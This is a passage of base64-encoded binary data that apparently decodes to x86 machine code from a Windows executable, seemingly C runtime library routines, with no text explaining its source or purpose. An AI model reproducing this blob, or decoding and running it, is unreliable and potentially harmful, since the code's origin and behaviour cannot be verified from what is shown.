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//+LTfiDYXD96Vn////orLH//8cAKgAAADhd/HQHi0X4g2Bw/YPI/+k6////M8A5XQgPlcBQ/3UIi0XwagFWagn/cAT/FWTgQACFwA+FOv///+u6i/9Vi+xqAP91EP91DP91COjU/v//g8QQXcOL/1WL7IPsEP91DI1N8OiKs///D7ZFCItN8IuJyAAAAA+3BEElAIAAAIB9/AB0B4tN+INhcP3Jw4v/VYvsagD/dQjouf///1lZXcOL/1WL7PZADEB0BoN4CAB0GlD/dQjoN/v//1lZuf//AABmO8F1BYMO/13D/wZdw4v/VYvsVovw6xT/dQiLRRD/TQzouf///4M+/1l0BoN9DAB/5l5dw4v/VYvs9kcMQFNWi/CL2XQ3g38IAHUxi0UIAQbrMA+3A/9NCFCLx+h+////Q0ODPv9ZdRTod7D//4M4KnUQaj+Lx+hj////WYN9CAB/0F5bXcOL/1WL7IHsdAQAAKEEEEEAM8WJRfxTi10UVot1CDPAV/91EIt9DI2NtPv//4m1xPv//4md6Pv//4mFrPv//4mF+Pv//4mF1Pv//4mF9Pv//4mF3Pv//4mFsPv//4mF2Pv//+hDsv//hfZ1Nejur///xwAWAAAAM8BQUFBQUOh0r///g8QUgL3A+///AHQKi4W8+///g2Bw/YPI/+nPCgAAM/Y7/nUS6LOv//9WVlZWxwAWAAAAVuvFD7cPibXg+///ibXs+///ibXM+///ibWo+///iY3k+///ZjvOD4R0CgAAagJaA/o5teD7//+JvaD7//8PjEgKAACNQeBmg/hYdw8Pt8EPtoBI80AAg+AP6wIzwIu1zPv//2vACQ+2hDBo80AAagjB6AReiYXM+///O8YPhDP///+D+AcPh90JAAD/JIWfgkAAM8CDjfT7////iYWk+///iYWw+///iYXU+///iYXc+///iYX4+///iYXY+///6bAJAAAPt8GD6CB0SIPoA3Q0K8Z0JCvCdBSD6AMPhYYJAAAJtfj7///phwkAAION+Pv//wTpewkAAION+Pv//wHpbwkAAIGN+Pv//4AAAADpYAkAAAmV+Pv//+lVCQAAZoP5KnUriwODwwSJnej7//+JhdT7//+FwA+NNgkAAION+Pv//wT3ndT7///pJAkAAIuF1Pv//2vACg+3yY1ECNCJhdT7///pCQkAAIOl9Pv//wDp/QgAAGaD+Sp1JYsDg8MEiZ3o+///iYX0+///hcAPjd4IAACDjfT7////6dIIAACLhfT7//9rwAoPt8mNRAjQiYX0+///6bcIAAAPt8GD+El0UYP4aHRAg/hsdBiD+HcPhZwIAACBjfj7//8ACAAA6Y0IAABmgz9sdRED+oGN+Pv//wAQAADpdggAAION+Pv//xDpaggAAION+Pv//yDpXggAAA+3B2aD+DZ1GWaDfwI0dRKDxwSBjfj7//8AgAAA6TwIAABmg/gzdRlmg38CMnUSg8cEgaX4+////3///+kdCAAAZoP4ZA+EEwgAAGaD+GkPhAkIAABmg/hvD4T/BwAAZoP4dQ+E9QcAAGaD+HgPhOsHAABmg/hYD4ThBwAAg6XM+///AIuFxPv//1GNteD7///Hhdj7//8BAAAA6Oz7//9Z6bgHAAAPt8GD+GQPjzACAAAPhL0CAACD+FMPjxsBAAB0foPoQXQQK8J0WSvCdAgrwg+F7AUAAIPBIMeFpPv//wEAAACJjeT7//+Djfj7//9Ag730+///AI21/Pv//7gAAgAAibXw+///iYXs+///D42NAgAAx4X0+///BgAAAOnpAgAA94X4+///MAgAAA+FyQAAAION+Pv//yDpvQAAAPeF+Pv//zAIAAB1B4ON+Pv//yCLvfT7//+D//91Bb////9/g8ME9oX4+///IImd6Pv//4tb/Imd8Pv//w+EBQUAAIXbdQuhOBxBAImF8Pv//4Ol7Pv//wCLtfD7//+F/w+OHQUAAIoGhMAPhBMFAACNjbT7//8PtsBRUOiA+v//WVmFwHQBRkb/hez7//85vez7//980OnoBAAAg+hYD4TwAgAAK8IPhJUAAACD6AcPhPX+//8rwg+FxgQAAA+3A4PDBDP2RvaF+Pv//yCJtdj7//+Jnej7//+JhZz7//90QoiFyPv//42FtPv//1CLhbT7///Ghcn7//8A/7CsAAAAjYXI+///UI2F/Pv//1Dou/j//4PEEIXAfQ+JtbD7///rB2aJhfz7//+Nhfz7//+JhfD7//+Jtez7///pQgQAAIsDg8MEiZ3o+///hcB0OotIBIXJdDP3hfj7//8ACAAAD78AiY3w+///dBKZK8LHhdj7//8BAAAA6f0DAACDpdj7//8A6fMDAAChOBxBAImF8Pv//1Doqff//1np3AMAAIP4cA+P9gEAAA+E3gEAAIP4ZQ+MygMAAIP4Zw+O6P3//4P4aXRtg/hudCSD+G8Pha4DAAD2hfj7//+AibXk+///dGGBjfj7//8AAgAA61WLM4PDBImd6Pv//+gj9///hcAPhFb6///2hfj7//8gdAxmi4Xg+///ZokG6wiLheD7//+JBseFsPv//wEAAADpwQQAAION+Pv//0DHheT7//8KAAAA94X4+///AIAAAA+EqwEAAAPei0P4i1P86ecBAAB1EmaD+Wd1Y8eF9Pv//wEAAADrVzmF9Pv//34GiYX0+///gb30+///owAAAH49i730+///gcddAQAAV+ii9f//WYuN5Pv//4mFqPv//4XAdBCJhfD7//+Jvez7//+L8OsKx4X0+///owAAAIsDg8MIiYWU+///i0P8iYWY+///jYW0+///UP+1pPv//w++wf+19Pv//4md6Pv//1D/tez7//+NhZT7//9WUP81WBxBAOhC4f//Wf/Qi534+///g8QcgeOAAAAAdCGDvfT7//8AdRiNhbT7//9QVv81ZBxBAOgS4f//Wf/QWVlmg73k+///Z3Uchdt1GI2FtPv//1BW/zVgHEEA6Ozg//9Z/9BZWYA+LXURgY34+///AAEAAEaJtfD7//9W6Qj+//+JtfT7///Hhaz7//8HAAAA6ySD6HMPhGr8//8rwg+Eiv7//4PoAw+FyQEAAMeFrPv//ycAAAD2hfj7//+Ax4Xk+///EAAAAA+Eav7//2owWGaJhdD7//+Lhaz7//+DwFFmiYXS+///iZXc+///6UX+///3hfj7//8AEAAAD4VF/v//g8ME9oX4+///IHQc9oX4+///QImd6Pv//3QGD79D/OsED7dD/JnrF/aF+Pv//0CLQ/x0A5nrAjPSiZ3o+///9oX4+///QHQbhdJ/F3wEhcBzEffYg9IA99qBjfj7//8AAQAA94X4+///AJAAAIvai/h1AjPbg730+///AH0Mx4X0+///AQAAAOsag6X4+///97gAAgAAOYX0+///fgaJhfT7//+LxwvDdQYhhdz7//+Ntfv9//+LhfT7////jfT7//+FwH8Gi8cLw3Qti4Xk+///mVJQU1fouKf//4PBMIP5OYmdkPv//4v4i9p+BgONrPv//4gOTuu9jYX7/f//K8ZG94X4+///AAIAAImF7Pv//4m18Pv//3RZhcB0B4vOgDkwdE7/jfD7//+LjfD7///GATBA6zaF23ULoTwcQQCJhfD7//+LhfD7///Hhdj7//8BAAAA6wlPZoM4AHQGA8KF/3XzK4Xw+///0fiJhez7//+DvbD7//8AD4VlAQAAi4X4+///qEB0K6kAAQAAdARqLesOqAF0BGor6waoAnQUaiBYZomF0Pv//8eF3Pv//wEAAACLndT7//+Ltez7//8r3iud3Pv///aF+Pv//wx1F/+1xPv//42F4Pv//1NqIOiE9f//g8QM/7Xc+///i73E+///jYXg+///jY3Q+///6Iv1///2hfj7//8IWXQb9oX4+///BHUSV1NqMI2F4Pv//+hC9f//g8QMg73Y+///AHV1hfZ+cYu98Pv//4m15Pv///+N5Pv//42FtPv//1CLhbT7////sKwAAACNhZz7//9XUOhV8///g8QQiYWQ+///hcB+Kf+1nPv//4uFxPv//4214Pv//+it9P//A72Q+///g73k+///AFl/puscg43g+////+sTi43w+///Vo2F4Pv//+jW9P//WYO94Pv//wB8IPaF+Pv//wR0F/+1xPv//42F4Pv//1NqIOiI9P//g8QMg72o+///AHQT/7Wo+///6MDN//+Dpaj7//8AWYu9oPv//4ud6Pv//w+3BzP2iYXk+///ZjvGdAeLyOmh9f//ObXM+///dA2Dvcz7//8HD4VQ9f//gL3A+///AHQKi4W8+///g2Bw/YuF4Pv//4tN/F9eM81b6CWW///Jw4v/b3pAAGd4QACZeEAA9HhAAEB5QABMeUAAknlAAJF6QACL/1WL7GaLRQhmg/gwcwe4/////13DZoP4OnMID7fAg+gwXcO5EP8AAIvRZjvCD4OUAQAAuWAGAACL0WY7wg+CkgEAAIPCCmY7wnMHD7fAK8Fdw7nwBgAAi9FmO8IPgnMBAACDwgpmO8Jy4blmCQAAi9FmO8IPglsBAACDwgpmO8JyybnmCQAAi9FmO8IPgkMBAACDwgpmO8JysblmCgAAi9FmO8IPgisBAACDwgpmO8JymbnmCgAAi9FmO8IPghMBAACDwgpmO8JygblmCwAAi9FmO8IPgvsAAACDwgpmO8IPgmX///+5ZgwAAIvRZjvCD4LfAAAAg8IKZjvCD4JJ////ueYMAACL0WY7wg+C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